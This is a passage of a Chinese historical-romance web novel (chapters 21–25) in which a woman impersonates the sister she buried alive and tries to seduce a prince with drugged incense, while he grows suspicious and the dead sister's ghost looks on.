《为占有我夫君,嫡姐亲手活埋了我》 第21章 干柴烈 “嗯。” 慕枭点了点头,没有拒绝。 他抱着孩子,先一步下了万芳阁,谢婉宁见状,急忙跟上。 她脚步轻快,心也几乎要跟着飘起来了。 她不确定,是慕枭心里惦记着谢晚棠,念着旧情,动了心;还是她爹在宫宴时见到了慕枭,诱之以利,游说成功了;亦或者是她,渐渐走进了慕枭的心里……但总归慕枭答应了就好。 除夕夜! 这种时候,慕枭总不好扫兴吧? 心里想着,谢婉宁的脑海里,全是被翻红浪,温存缠绵的画面。 她的心怦怦直跳。 慕枭这样的男人,在床笫之事上,应该很强吧?总比之前那个男人,带给她的欢愉要多吧? 谢婉宁心里涟漪翻涌,干柴烈火,尽是孟浪。 畅晚阁。 回来,孩子也有了困意。 慕枭把孩子哄睡,就交给乳娘,让乳娘带下去休息了。 谢婉宁款步过来。 “王爷,我伺候你沐浴歇息吧?” 一边说着,谢婉宁一边伸手,去解慕枭的腰带。纤纤玉手,娇柔魅惑,她柔弱无骨,整个身子几乎都要靠在慕枭身上了。 一股甜腻的鹅梨香扑面而来。 慕枭凝眉。 这味道,太浓太甜了。 只是细微的差别,却让慕枭从谢婉宁刻意营造出的似曾相识的过往中,一下子挣脱了出来。 几乎是下意识的,慕枭往后退了退,避开了谢婉宁的手,也避开了她的身子。 谢婉宁身子不稳,差点跌倒,她僵在原地,泪眼婆娑。 “王爷……” 谢婉宁声音哽咽。 那样子,仿佛有万千话想说,可话到嘴边,却一个字都说不出,只剩了委屈。 将谢婉宁的模样看在眼里,慕枭眸色沉沉,心乱如麻。 他也说不清自己这是怎么了。 也或者,就是谢婉宁和谢詹杭,以及谢家,存了瞒着他的秘密,他心有芥蒂,还无法释怀吧。 大约是他太计较了。 人生在世,谁还没有点秘密呢? 这么想着,慕枭坐到了桌边上,他抬手拎着茶壶倒茶。 “下盘棋吧。” 慕枭克制着自己,语气尽量放柔和了些。 闻言,谢婉宁心下稍安。 她极力的劝说自己,慕枭只是觉得时间还早,还不想睡而已,并不是对她有不满有怀疑。 长夜漫漫,她还有时间,她不能急。 谢婉宁一遍遍的在心里安慰自己,之后,她才轻轻点头。 “好。” 谢婉宁转身,去门口叫知鸢。 “去,准备棋盘。” 听着谢婉宁的吩咐,知鸢身形微僵,她抬眸看向谢婉宁,唇瓣煽动,有些犹豫。 那样子,让谢婉宁不喜。 “有话直说。” 知鸢抿了抿唇,了解谢婉宁的脾气,她赌不起。 没敢耽搁,知鸢探头往屋里瞧了瞧,确认慕枭没出来,她凑在谢婉宁耳畔,低喃回应。 “小姐,她的棋,是王爷亲手教出来的。” 不敢在谢婉宁面前提谢晚棠的名字,尤其眼下慕枭还在,知鸢怕惹事,更不敢提。 知鸢只说“她”。 但谢婉宁听的明白她在说谁。 “怎么可能?” 谢婉宁的眸子陡然瞪大,也隐隐夹杂着怒气和嫉妒。 知鸢摇头示意她小声些,之后才小声继续。 “王爷熟读兵法,下棋路数也融汇了兵法,走一步看十步,筹谋布局,步步为营,十分厉害。王爷可以一个人,将左右手分作两人对弈,一心二用,两者皆凌厉到极致,棋盘之上甚是凶险。 她看到后,也对此十分感兴趣。 那阵子,她让奴婢找来了不少兵书,还有棋谱,她没日没夜的看,研究了好一阵子。后来王爷见她对此热衷,就手把手的教她,两个人也时常手谈两局,她也很厉害的。” 知鸢不懂下棋的事,这是她知道的全部。 谢婉宁心惊。 谢晚棠是不是真的厉害,她无从得知,但这并不是重点。 重点是,谢晚棠的棋艺,是慕枭一手教出来的,两个人还经常下两局,那慕枭必然很熟悉谢晚棠的下棋路数。 每个人的下棋路数,都有自己的风格,很难伪装。 这太容易暴露了。 明明外面天很冷,可谢婉宁还是惊出了一身汗。 “小姐……” 见谢婉宁大惊失色,知鸢唤了她一声。 谢婉宁回神。 死死的咬着嘴唇,没有吭声,一直到几乎尝到了血腥味,她才看向知鸢。 “我知道了,你先去准备棋盘。” “是。” “还有,一会儿进来送棋盘的时候,顺带着把屋里的熏香也换了,就换博古架上,我新放在最顶上红木匣子里的那一种,别搞错了。” “奴婢明白。” 知鸢转身离开去准备。 看着知鸢的背影,谢婉宁轻呼了一口气,她努力让自己保持平静。 琴棋书画,诗词曲赋,这都是她自小学习的,有名师教导,她又勤加练习,她的水平在一众京中贵女中,也算得上佼佼者。 她必定比谢晚棠那个灾星强。 她能应对的。 这么想着,谢婉宁拍了拍自己的心口,这才转身回房。 慕枭在桌边上喝茶,他动作儒雅,疏离淡漠。 很难想象,这样清冷的人,也能耐下心来,教一个什么都不会的废物下棋。 谢晚棠命倒是好。 谢婉宁上前,在慕枭身边坐下。 四目相对,她眉眼里满是飞扬的神采,还带着点得意。 “我的棋,是王爷一手教出来的,师傅了解徒弟,我知道,想赢王爷不易。为此,我这阵子特意研究了一份新棋谱,还改了下棋的路子风格,王爷就等着瞧吧,我现在厉害着呢。” 谢婉宁不着痕迹的为自己做铺垫。 慕枭看着谢婉宁点头。 “好。” 知鸢动作利落,没一会儿就将棋盘拿来了,她也按照谢婉宁交代的,将熏香换好。 慕枭注意到了,却没有多在意。 他和谢婉宁下棋。 慕枭落子一如既往的凌厉,谢婉宁见招拆招,倒也不差。 只是—— 慕枭眯着眼睛,看向谢婉宁。 风格变了,路子变了,谢婉宁说这是研究了新下法,他可以认同。可是,越研究水平越差,倒还比不上从前了,连最擅长的兵法布局,运筹帷幄,也都丢了,这未免有些奇怪。 一时间,慕枭想到了昌伯说的那封信,说她的字迹跟之前有所不同…… 慕枭眸色微凛。 他心也更沉了。 觉察到被一股冷意裹挟着,谢婉宁下意识的抬头,她一下就撞进了慕枭寒霜一般的眼眸里。 谢婉宁心都要提到嗓子眼了,“王爷,这么看着我做什么?” “速度慢了。” 慕枭轻描淡写的回了一句。 谢婉宁咬唇,“王爷厉害,我这新棋谱也还没研究透,自然要慢些,让王爷见笑了。” “继续。” 慕枭也不多言,他随即继续。 慕枭落子的速度越来越快,谢婉宁因为慕枭一句“速度慢了”,生怕他看出破绽,也加快了速度。 可她换来的,只是慕枭的再次加速。 棋盘上,慕枭的黑子犹如一条黑龙,转瞬间就将谢婉宁营造的局面,冲的一片凌乱。 白棋溃不成军。 谢婉宁额上全是冷汗。 这些年,她引以为傲的棋艺,在慕枭面前,根本不堪一击。 知鸢说,谢晚棠能跟慕枭对弈,也很厉害,难不成,她在勾搭男人上比不过谢晚棠,在棋艺上也比不过她? 这怎么可能? 慕枭……会觉察出什么吗? 谢婉宁心里乱,落子更无章法,她忍不住一次又一次偷瞄慕枭,观察慕枭的表情。 很快,谢婉宁就瞧见,慕枭的脸上,泛起了一丝诡异的潮红。 她心里欢喜。 等了这么久,熏香终于起效了…… 第22章 时未到 慕枭也感受到了,一股燥热在体内奔腾。 曾经中过招,慕枭很清楚这种感觉意味着什么,他也很清楚,在齐王府内出了这种状况,问题到底出在了谁身上。 用内力,强行压制下体内的欲念,他随即将棋子扔在棋盘上。 “砰。” 小小的白玉棋子,靠着内力的催动,硬生生在棋盘上砸了一个坑。 谢婉宁哪见过这场面? 看着慕枭,她直接站了起来,惊恐的往后退了两步。 “王爷……” “不下了,累了。” 只说了这几个字,之后,慕枭起身就出了屋,他脚步生风,速度快到谢婉宁想要留人,都没有开口的机会。 “哗啦。” 谢婉宁心里有气,她甩手把桌上的棋子,扫落到地上。 落子似雨,如落玉盘。 一声一声,带着嘲弄。 她就不明白,明明一切都好好的,明明慕枭也心动,也沉浸其中的,可为什么每到关键时候,慕枭就会抽身离开,没有丝毫流量,甚至还带着排斥和嫌恶? 慕枭到底在想什么?他到底要怎么样? 她要怎么做才能如愿? 知鸢听到动静,急忙从外面进来,瞧着谢婉宁暴怒的模样,她就知道,今夜怕是又要不好过了。 皮肉之苦,大约是在所难免了。 知鸢面色惊恐。 可是,没有人能帮她,为她分担。 …… 畅晚阁外。 谢晚棠在齐王府里转了一整圈,这才算是消化掉了自己的情绪,飘了回来。 只是,她没想到会在门口碰上慕枭。 慕枭又离开了? 谢晚棠意外,她忍不住又红着眼睛,多看了慕枭两眼。 她这才发觉,即便慕枭面色清冷,眼里也是一片冰寒,可他的脸颊一片潮红,他的呼吸也比寻常时候更粗重些,跟以往不同。 他这是中招了? 谢婉宁又用了这种下三滥的手段? 谢晚棠不敢置信。 一时间,她甚至不知道,是该感慨慕枭倒霉,还是应该感慨谢婉宁愚蠢! “去找解药。” 谢晚棠正想着,就听到慕枭冲着半空中喊了一声。 “是。” 随着慕枭话音落下,一道回应声,在空中响起。 谢晚棠看过去,就见一道暗影,在夜空中一闪而过,不过须臾就消失不见了。 慕枭的手下来的很快。 只用了不到一盏茶的工夫,手下就将解药送到了书房,慕枭服下去之后,身体内的燥热之气,明显消散了不少,他呼吸也平稳了些。 谢晚棠瞧着,也安心了些。 只不过,慕枭并没有在书房内多停留,状态稍好,他就出去了。 除夕夜,还是这个时辰了,他能去哪? 谢晚棠好奇。 她也没有犹豫,直接跟了上去。 除夕夜,京中有烟火,绝大多数的人都去万宝湖附近看烟火了,故而街上的人并不算多。 慕枭骑着马穿街而过,他直接出了城,直奔慈恩寺。 这个时间,慈恩寺寺门紧闭。 慕枭下马去敲门。 不多时,就有小僧开门出来了。 一见到人,慕枭就急切的询问,“无讳大师呢?本王要见他。” “阿弥陀佛,王爷莫急。” 小僧双手合十,冲着慕枭行礼。 “无讳大师人在寺中,他已算到王爷今夜会来,特命小僧在此恭候王爷大驾,他还让小僧带一句话给王爷。” “说。” “无讳大师说,时机未到,天机不可泄露,见与不见,无甚区别。若时机成熟时,王爷还愿来,问一句赠言之事,他必定知无不言,言无不尽。” 小僧的话说的明明白白。 慕枭听着,也知道自己的困惑,无讳大师心知肚明。 眼下时机未到! 也不知,何时才算时机成熟? 慕枭眸色沉沉,他轻轻点头,“有劳了,帮本王转告无讳大师,本王还会再来。” “小僧必不负王爷所托。” “多谢。” 慕枭也不纠缠,转身就走。 只是,他脑海里,全都是无讳大师说的那几个字——君好卿未好,君归卿难归。 他不知道谢婉宁身上,都发生了什么,谢家又在遮掩什么,好端端的,怎么会变成现在这样,他心里又为何有这诸多古怪? 但他知道,他不是坐以待毙的人。 他不知道无讳大师说的时机成熟,到底是什么时候。 但他知道,他愿意推上一把! 慕枭想着,眼眸微微眯了眯,眼底里全是算计。 慕枭上马回了齐王府,之后,他直接将天晴叫到了书房里,“你去,连夜帮我去安排一件事,要做的隐蔽,还要快!” 最后的耳语,声音很轻很轻。 除了天晴,无人知晓。 就是一路跟着慕枭的谢晚棠,也不知道,他到底要做什么。 …… 天启祖上传下来的规矩,初一祭天。 一大早,慕枭就出了门。 谢晚棠知道,按照往年的状况来看,慕枭今日会先进宫,而后跟着皇上和朝臣去丘圜祭天,过后还要护送皇上回宫,这么一遭折腾下来,他今日回来的必定不会太早。 谢晚棠想,被冷落了一夜、彻夜难眠的谢婉宁,今日见不到慕枭,肯定又惊又惧,癫狂暴躁。 那场面一定很热闹。 谢晚棠也不耽搁,她飘回了畅晚阁,准备去看戏。 和谢晚棠所想一样,一进畅晚阁,她就听到了谢婉宁的骂声。 “没用的东西。” 谢晚棠听到动静,急忙进屋。 只见屋里地上,茶盏碎片满地都是,混着茶叶和茶水,一片狼藉,连带着博古架附近的瓷器,也有好几样摔在了地上,损失惨重。 谢晚棠咂舌。 这火气,可真够重的。 谢晚棠正想着,就见谢婉宁伸手,在知鸢的胳膊上又一连拧了两把。 “怎么就养了你这么个废物?” 谢婉宁怒骂。 今儿一早,她就让知鸢去给慕枭送早膳了,她想让慕枭过来瞧瞧,好歹也试探试探,看看他有没有因为昨夜的事动怒? 可知鸢不中用。 东西没送到,话没带到,慕枭也没见到。 蠢货! 谢婉宁心里火气重,连带着昨夜的那份,也都发泄到了知鸢身上。 瞬间,知鸢的胳膊就一片青紫。 可饶是如此,谢婉宁依旧不解气,她又在知鸢身上踹了一脚,“滚去外面跪着,没有我的允许,不准起来。” “是。” 知鸢哽咽的应了一声。 她忍着身上的疼,起身冲着外面走去。 只是,才走两步,她就听到谢婉宁又冷声吩咐。 “等王爷回来,你即刻去请,我不管你去说什么,用什么办法,务必要将王爷请过来。你知道的,有许多人都已经不在了,我留着你,是给你脸,也是给你机会,你要是不知道珍惜,那可别怪我送你去陪他们。” 这威胁,让知鸢心头一紧。 她双腿都在发抖。 她胡乱的应了一声,加快脚步出去,生怕走晚了一瞬,谢婉宁就要了她的命。 当然,知鸢也在心里盘算,要怎么做,才能把慕枭请到畅晚阁来,平息谢婉宁的怒意,保全她自己的命? 慕枭不是任人算计,肯受人摆布的人。 这很难。 只不过,还不等知鸢想清楚呢,临近晌午,慕枭就已经回府了。 但是被抬回来的! 受了重伤,人昏迷着,情况危急! 更让人意外的是,齐王府外,多了两队御林军看守,齐王府封府,任何人不得进出…… 第23章 入君怀 消息很快就传到了畅晚阁。 完全没想到慕枭会受伤,谢晚棠吓得厉害,再也顾不上谢婉宁如何了,她急匆匆的就飘去了主院。 消息传的吓人,她得去看看慕枭到底怎么样了。 谢婉宁神色恍惚,还有些回不过神来,半晌她才看向来报信的小厮。 “你再说一遍,发生什么了?” “回小姐,王爷受了重伤,刚刚被抬回府,送去主院了。太医已经到了,但还没开始诊治,具体什么情况还不清楚。但奴才看了一眼,王爷身上有很多血,大约不太好,他……” “外面,我说外面。” 打断小厮的话,谢婉宁厉声呵斥。 小厮一愣。 片刻之后,他才想明白谢婉宁什么意思,他快速回应。 “外面被御林军围住了,说是齐王府从即刻起封府,府内任何人不得进出,大约除了太医,咱们府里的其他人,都出不去了。” 听着小厮的话,谢婉宁跌坐在椅子上,灵魂都像是要被抽干净了,她面色僵沉。 慕枭受伤,不是什么要紧事。 常年征战沙场,九死一生,慕枭受伤的次数不少,这也不过是其中一次。 没什么了不得的。 真正可怕的是封府,是禁足。 今儿可是大年初一,若非出了大事,凭慕枭的身份和战功,皇上不可能下这样的命令。 按时间算,这个时辰,慕枭应该陪同皇上和朝臣在丘圜祭天。 他现在回府,还受了伤,多半是在祭天的过程中出了事。之前,慕枭监工建造丘圜,眼下他受伤还被责罚,那就只有一种可能—— 丘圜出了问题! 而且是大问题! 祭天事关国运,是国之大事。 在这事上出了纰漏,朝臣攻讦,皇上忌讳,慕枭轻则被禁足一阵子,重则可能丢了前程,甚至是丢了爵位,丢了性命。 真要是走到那一步,整个齐王府上百口人,都可能要为之陪葬。 谢婉宁心里怕。 她更不甘。 谢晚棠跟了慕枭三年,平稳和顺,受尽宠爱,还怀了身孕,生了孩子,到死都被慕枭惦记。而她才来齐王府不过月余,还没拿下慕枭,甚至算不得慕枭的枕边人,与他无名无实,要是慕枭就此出了事,就此倒了,她也跟着遭殃…… 她怎么接受得了? 想着这些事,谢婉宁的眸子不禁眯了眯。 半晌,她才又出声询问,“可知道御林军封府,要封到什么时候?” “不知道。” 小厮摇头解释。 “御林军一来,昌伯就询问了,可他们什么都不肯说,为何封府,要封到什么时候,根本没个准信。” “去问。” 谢婉宁脑子飞速的转,她厉声吩咐。 “太医,去向太医打探,他们消息灵通,更有可能他们本就在祭天现场,知晓一切,去向他们问,速度要快。” 若事情并不严重,眼下困境只是一时的,那什么都好说。 可若是事态严重,事关生死…… 那她也好早做准备。 她弄死了谢晚棠,跑来齐王府,是来享福是来受宠,是来过好日子的。 可不是来送死的。 “是。” 不知谢婉宁的心思,小厮应声,即刻退了出去。 谢婉宁一颗心七上八下的,生怕摸不准情况,她会丢了命,她很快就写了一封信。 将外面跪着的知鸢叫进来,她冷声吩咐。 “太医诊治,必定要开药,就算是封府,府里也会有人被安排出去抓药。你多花些银子,务必要让人将这封信送出去,送到侯府。” “是,奴婢这就去。” 知鸢说着,转身就往外走。 跪的太久了,她腿麻的厉害,走起来一瘸一拐的,速度不快。 谢婉宁定定的瞧着。 在知鸢要出门的时候,她突然开口,又将她叫住了。 “等等。” 知鸢回头,疑惑的看向谢婉宁。 “小姐,怎么了?” …… 主院。 谢晚棠飘过来,就闻到了一股浓郁的血腥味。 四个太医,都聚在屋门口,他们商讨慕枭的脉象,讨论治疗方案,以及方子用药。几个人脸色泛白,神色凝重,一看就知道,慕枭的状况大抵不算太好。 太医后面,是昌伯、天晴带着十来个下人在候着。 他们也神情紧张。 别人谢晚棠不了解,可她知道天晴。 作为慕枭的心腹,左膀右臂,天晴是个性格沉稳,能力出众的人。不敢说他有泰山崩于顶而面不改色的气魄,但他决不是个遇事会慌的人。 可现在—— 谢晚棠不敢多想,她快速进屋。 这一刻,她无比庆幸,自己是一缕幽魂,在这王府,她不论去哪,都无所顾忌,不受阻拦。 屋里。 慕枭躺在床上,面色惨白。 他的锦袍已经被脱下去了,伤在肩膀和胸前,伤口处缠了厚厚的纱布,不知伤口处理完多久了,纱布上已然又染了血,红的刺眼。 谢晚棠快速飘过去。 “王爷……” 她轻唤。 她声音哽咽,小心翼翼。 陷入在昏迷中的慕枭,不知是有意还是无意,他眉头不禁蹙了蹙。 下一瞬,他闷哼了一声,身子也动了动。 谢晚棠见状,急忙坐到床边上,她想帮慕枭看看伤,也想拦下他乱动的手,可是,她才坐过来,就感受到慕枭一把抓住了她的手腕。 甚至还来不及反应,谢晚棠就被慕枭拉到了榻上。 慕枭用力将她搂紧。 看着慕枭乱动,谢晚棠下意识的想要按住他的肩膀,让他躺好。 慕枭却抓住了她的手,按在了自己心口。 “别动,乖。” 低喃,缱绻。 谢晚棠一颗心怦怦狂跳。 过去的三年,慕枭无数次的拉她入怀,拉她上榻,欺身而上,极尽孟浪之姿,缠欢不停。可是,自从被活埋后,自从她成了一缕幽魂后,那些事,早就成了镜中花水中月,触之不及。 谢晚棠没想过,还有今日,还有此时。 她知道,慕枭的每一次主动亲近,都会让她的魂魄变透明,变单薄。 可她不想逃。 她被侯府囚禁,被谢詹杭摆布,被预言束缚,她乖了一辈子,不得善终。做鬼的这阵子,她倒是渐渐恣意,渐渐放肆了,她喜欢那种自由的味道。 但现在,她想听慕枭的,想做回那个乖巧的她。 她想再乖一次。 哪怕会付出代价,她也甘之如饴。 没有再乱动,谢晚棠只是伸手,一点点回抱住慕枭。 哪怕她是一缕幽魂,这回抱,虚无缥缈,并不真实,她也想要给慕枭回应,这是为数不多的她能给慕枭的了。 似是感受到了谢晚棠的乖巧,慕枭的唇,在她额上轻轻吻了吻。 他也没有再动。 没多久,他就沉沉的睡了过去。 见慕枭睡熟了,谢晚棠伸手,用手指一下下虚描着慕枭的眉眼。 她动作很轻,她想将慕枭的模样,烙印进心里。 如果,在不久后的某一日,她连这魂魄也守不住了,终将魂飞魄散,消散于三界之内,那在有意识的时候,记下他,多想想他,总归是好的。 慕枭这一觉睡的很沉。 等他醒来的时候,天早已经暗了下来,屋里只点了两盏灯,烛影昏黄。 慕枭睁开眼睛,下意识的看了看自己的怀里。 哪还有人啊? 慕枭凝眉,手撑着床,挣扎着起来,依靠在床头,他冲着外面喊了一声。 “天晴。” 听到动静,天晴急忙进来。 看到慕枭醒了,他面上一喜,加快脚步到慕枭身边。 “王爷,你醒了?好些了吗?” “嗯。” 慕枭淡淡的应了一声,并没有在这事上多言,他定定的看着天晴,急切的询问。 “她呢?” 知道慕枭问的,大约是谢婉宁,天晴也没瞒着。 “谢小姐是在王爷被送回府一个时辰后过来的,太医说,王爷施了针之后需要静养,她就在外面候着,没有进来。王爷,可是要请谢小姐进来?” “她没进来?” 慕枭一双眸子微微眯起,锐利的犹若鹰隼。 这怎么可能? 拥抱入眠的感觉那么真切,难道……那只是一场梦? 第24章 再下饵 天晴并不知道慕枭在想什么。 但是,看着他脸色不好,天晴还是轻声回应。 “是,谢小姐不曾进来。” 再次听到回应,慕枭沉沉的叹了一口气,他知道,天晴不可能撒谎。 可是,摩挲着自己的胳膊,仿佛还能感受到余温,还有淡淡的体香,那感觉太真切了,他真的有些无法接受,一切只是一场梦。 抿着唇,慕枭闭着眼睛缓了半晌,才算是冷静下来,恢复如常。 他睁开眼睛,再次看向天晴。 “可有发现?” 今日的事,是他让天晴连夜安排的。 他的目的,一来,是借用丘圜祭天的事,铲除大皇子安插在他身边的人,斩草除根,二来,他也要盯住谢婉宁和永昌侯府,看他们的反应,以便查出他们的秘密,解自己心头的疑惑。 现在,到验收结果的时候了。 听着询问,天晴也没瞒着,他微微往前了些,快速回应。 “有。” 一边说着,天晴一边掏出了一封信。 “这是王爷被送回府之后没多久,知鸢花了五十两银子,买通了府上去给王爷抓药的小厮,让小厮送出去的信。属下看过信之后,临摹笔迹,誊抄了一封,把这封调换了带回来了。” 慕枭将信接过来打开。 信是以谢婉宁的口吻写的,内容很简略。 大致意思是:谢婉宁询问永昌侯到底出了什么事,她让永昌侯盯着外面的情况,若有需要,请永昌侯帮忙及时安排打点。 这内容倒也中规中矩,看不出多少心思和算计。 只是这信上的字—— 慕枭凝眉。 谢婉宁的字,是他一手教出来的,娟秀又不失力量,自有一番风骨。 可这封信上的字,并不是他熟悉的样子,谈不上好看不说,甚至有些稚气,怕是稍有些天赋的刚开蒙几月的稚子,也能写的比这好。 “这信……” “是知鸢写的。” 慕枭只是稍稍开口,天晴便已明了他的意思,给了回应。 连带着他查出来的,以及他的想法,他也说了。 “这封信是知鸢代笔的,每月领月银,都是要签字或者按手印的。知鸢留下过一些字迹,昌伯找了账簿出来对,可以确定这封信出自知鸢之手无疑。 属下觉得,这信上内容并无不妥。 可是,谢小姐让知鸢代笔,这件事本身就有些奇怪。 而且,在王爷出事之后,谢小姐曾安排小厮接近太医,打探王爷的事。按说询问属下,能够更快得到答案,也更准确,偏她舍近求远,属下觉得这事也有些反常。” 还有一点,天晴没说,那就是慕枭出事之后,谢婉宁来的很晚。 但是,慕枭从他之前说的谢婉宁来的时辰,已经知晓了。 这些道理慕枭都明白。 也正因为他明白,他心里的疑云,才更浓重阴沉。 “谢詹杭那头可有什么动静?” “暂时没有。” “继续盯着,另外……”慕枭抿了抿唇,稍稍思忖,他随即道,“一日后,临摹着这封信的笔迹,以婉宁的口吻,再给永昌侯府送去一封信。就写……秘密已被勘破,速救。” 实则虚之,虚则实之,真真假假,只看他怎么安排。 他费了心思以身作局,自然要继续下饵。 就是不知道,能钓出什么样的鱼? 明白慕枭的心思,也不多问什么,他重重的点头。 “属下明白。” “去安排吧,掌握些分寸,能快则快,等永昌侯府那头有动静了,再把证据一样样的放出去,咱们抽身。” “是。” 天晴应声,打算离开。 这时候,他就听到慕枭又开口道,“请她进来吧。” “是。” 天晴出去,没一会儿谢婉宁就进来了。 她脚步很快,眼睛也泛着湿红,见到慕枭,她提着裙摆跑着过来,大约是太慌了,她差点跌倒。 “王爷……” 谢婉宁索性扑到了床边上,她用手撑着床,仰头看着慕枭。 四目相对,她泪水连连。 “王爷,你怎么样,好些了吗?太医说你伤了肩膀和胸口,内伤极重,真是要吓死我了。好端端的,怎么会出这样的事?王爷你一定要好好休养,早点好起来,就算是为了我们母子,你也一定要保重自己。” 只谈慕枭的身体,对御林军封府的事,谢婉宁绝口不提。 似是担忧的要命,她眼泪也更凶了。 慕枭依偎在床上,静静的看着谢婉宁。 若是谢婉宁真的关心他,又怎么会在他被送回府一个多时辰之后,才来主院看他?她又哪来那么多时间,去做那么多安排? 若是谢婉宁真的担心他,太医说他需要静养,那她静静的进来陪着,不打扰就是了,怎么会那么听话,真的在外面候着,而不反驳一句? 这三年,慕枭虽然领兵出征的时间不多,但皇权争斗子来不消停,他遭受暗杀的次数不算少。 自然,他受伤的次数也不少。 之前每一次出事,谢婉宁都急的厉害。 哪怕她面上平静如水,云淡风轻,可是,她的眼睛是骗不了人的,她的举止也骗不了人。 可眼下,谢婉宁淡然多了。 情,也假多了。 看来,他之前发觉的谢婉宁的变化,还远远不够。 慕枭心里一阵阵的泛凉。 那种滋味,怪怪的,压抑又苦涩。 半晌,慕枭才将谢婉宁拉起来,他的手,轻轻的摸上了谢婉宁的脸,一下一下,动作轻缓。 “担心了?” “嗯,”谢婉宁点头,她顺势依偎在慕枭的肩膀上,“听说王爷受伤,我担心的要命,一颗心都要跳出来了。王爷,你答应我,以后一定要保护好自己,一定不要再受伤了,好吗?” “嗯。” 慕枭淡淡的应了一声。 下一瞬,他还不待谢婉宁反应,就将谢婉宁拉到了床上。他翻身,直接将谢婉宁抱在怀里,压在了身下。 谢晚棠刚好进屋,瞧见这一幕,她如遭雷击。 昨夜,谢晚棠被慕枭抱了一晚上,一大早她才有时间出去,打探一下丘圜到底发生了什么。 她想要知道,慕枭除了身上的伤,可还会有其他的危险? 御林军封府,她放心不下。 可没想到,她一回来,就看到了这一幕。 昨夜,被慕枭抱着的时候,她还以为,哪怕是生死,也阻隔不了她和慕枭,他们感情如旧。她也沉浸其中,贪婪的享受着这份深情的余韵,哪怕她的魂魄在透明,在消散,她也在所不惜。 可现在,她却觉得,自己像是个笑话。 都说自古情字最磨人。 还真是! 动情的人,心随情动,跌跌宕宕,起起伏伏,悲欢愁苦,滋味尝尽。 做了鬼,也逃不过这种反反复复的折磨。 在欢喜是绝望,在绝望时峰回路转,时而欢喜时而愁,百般滋味在心头。 她真的要承受不住! 谢晚棠正想着,就见慕枭低头,去吻谢婉宁。 她下意识的转身,飘了出去。 她不想看。 谢晚棠走的快,自然,她也没有看到谢婉宁眼底的欢喜,以及慕枭在将要吻到谢婉宁时的戛然而止…… 第25章 乱如麻 慕枭松开谢婉宁,缓缓直起了身。 梦里的感觉太真实了,以至于他不愿相信那只是一场梦,他想拉着谢婉宁,再试着找找那种感觉,他想再验证一次。 可是没有。 明明是同一个人,可那种感觉,却截然不同。 在梦里,他情动,却克制。 而此刻,他心里对谢婉宁的抗拒,却远胜于对她的欲念。 慕枭依偎在床头上,缓缓闭上了眼睛,他也不知道发生了什么,什么变了,可他就是知道——不一样了! 这种变化,他的心做不到视而不见。 他的身体,也忽视不了。 谢婉宁完全是懵的。 慕枭的主动,出乎她的预料,慕枭的突然抽身,也在她的意料之外。 开始的太快,结束的也让人猝不及防,以至于她心底才刚刚升起一抹欢喜,还来不及去体会那种滋味,就又被推入了深渊。 盯着慕枭,谢婉宁挣扎着坐起来,她眼睛泛红。 “王爷……” “一会儿本王换药,你伺候吧。” 不等谢婉宁的话说完,慕枭就已经先开了口,吩咐了一声。 谢婉宁的话,被堵了个彻底。 不过她也没拒绝。 她派出去打探消息的人,并没有从太医的口中,探听到昨日丘圜具体发生了什么。她让知鸢往侯府给她爹送的信,也还没有任何回应。 即便猜到了,昨日祭天出了事,情况不好,但她实在摸不准事情糟糕到什么地步,慕枭又会不会再翻身? 这种情况下,能先亲近慕枭,这种机会,她自然不能放过。 谢婉宁从善如流。 “照顾王爷,本就是我分内之事,我也正担心王爷,这种时候,王爷不让我在身边伺候,我还不依呢。” “是吗?” “自然是真的,我何时骗过王爷?” 谢婉宁媚声回应。 话音落时,她还睨了慕枭一眼,似是嗔怪,但媚眼如丝,诱惑更浓。 之后,谢婉宁就起身下了床,奔着外面去了。 太医还在外面候着呢,慕枭要换药,她得去问太医要换什么药,要如何换,万不能出一点差错。 在慕枭最脆弱的时候,将他照顾妥帖,才更容易走进他的心。 这点事,谢婉宁可不糊涂。 谢婉宁脚步很快,并没有注意到慕枭打量的目光。 慕枭冷着脸思量。 过去三年,他受过伤,谢婉宁也没少照顾他。 最初的时候,谢婉宁惊恐、忐忑、小心翼翼,尤其是看到他背上留下的那些伤疤时,她怕的厉害,也心疼的厉害,每次她都眼泪汪汪的,默不作声。后来,关系亲近了,谢婉宁胆子大些了,会埋怨他照顾不好自己,数落他明明挺厉害的一个人,怎么每次都让自己这么狼狈,难不成堂堂战神是只纸老虎? 默不作声也好,埋怨数落也罢,担心都是一样的。 可眼下—— 谢婉宁把担心挂在嘴边上,但真心,却反倒是少了不少。 还真是奇怪的紧。 慕枭想着这些事,心里乱糟糟的,就是当年领兵,敌军压境,兵临城下,他都没有这么烦躁过。 外面。 谢晚棠出来,就发现主院里,不知何时搭了一架秋千。 她坐在秋千上晃荡,目光僵滞。 她脑子里,全是刚刚在屋里瞧见的画面,一幕一幕,让她心里堵得要命。 她咬了咬唇,随即哼了两声小曲,想让自己开心点。 死人,没有资格,也不该去束缚活着的人。 慕枭还有自己的生活要过。 他想要什么样的女人,过什么样的人生,那都是他的事,她无名无分,甚至连慕枭的妾室都算不上,这些事,她不该掺和,也不该埋怨。 道理,谢晚棠都明白。 只是明白是一回事,坦然接受又是另外一回事。 尤其那个人还是谢婉宁! 谢晚棠声音发酸发哑,亦如她的心。 酸的厉害。 接受,真的很难! 谢晚棠正想着,就听到了脚步声,谢婉宁快步从屋里出来,她直接去了几位太医身边。 微微福身,谢婉宁柔声询问。 “诸位大人,王爷说要换药,不知要换什么药,又有什么需要注意的?” “好说。” 太医们跟谢婉宁一一交代,事无巨细。 谢婉宁听着,倒也用心。 谢晚棠泛红的眼睛眨了眨,知道这个时候,谢婉宁从屋里出来,大抵是没发生什么,连带着谢婉宁的口脂,也还完完整整的,也或许连那记亲吻也没有成,谢晚棠的心不免有些飘忽。 她从秋千架上下来,又进了屋里。 她坐在床边看着慕枭。 慕枭闭着眼睛,依偎着床头,似是睡着了,只是他眉头紧蹙着,也不知道在愁什么? 很快,谢婉宁就回来了,还拿着药膏和纱布,准备为慕枭换药。 见状,谢晚棠直接坐去了床尾。 她静静的瞧着。 不止这一次,接下来五六日,谢晚棠都坐在这瞧。 慕枭让谢婉宁伺候他换药,伺候他用膳,伺候他沐浴,他让谢婉宁帮忙铺床,收拾屋子,擦拭瓷器,摆弄花草,但凡是这屋里的活儿,但凡是与伺候他相关的活儿,他都让谢婉宁操办,不让外人插手。 谢婉宁像个粗使丫鬟,被使唤的团团转。 生在永昌侯府,谢婉宁自小受宠,她自来过得都是锦衣玉食,呼奴唤婢的日子。 这种事,她哪沾过手? 起初的时候,谢婉宁还有心借着干活的机会,诱惑慕枭。 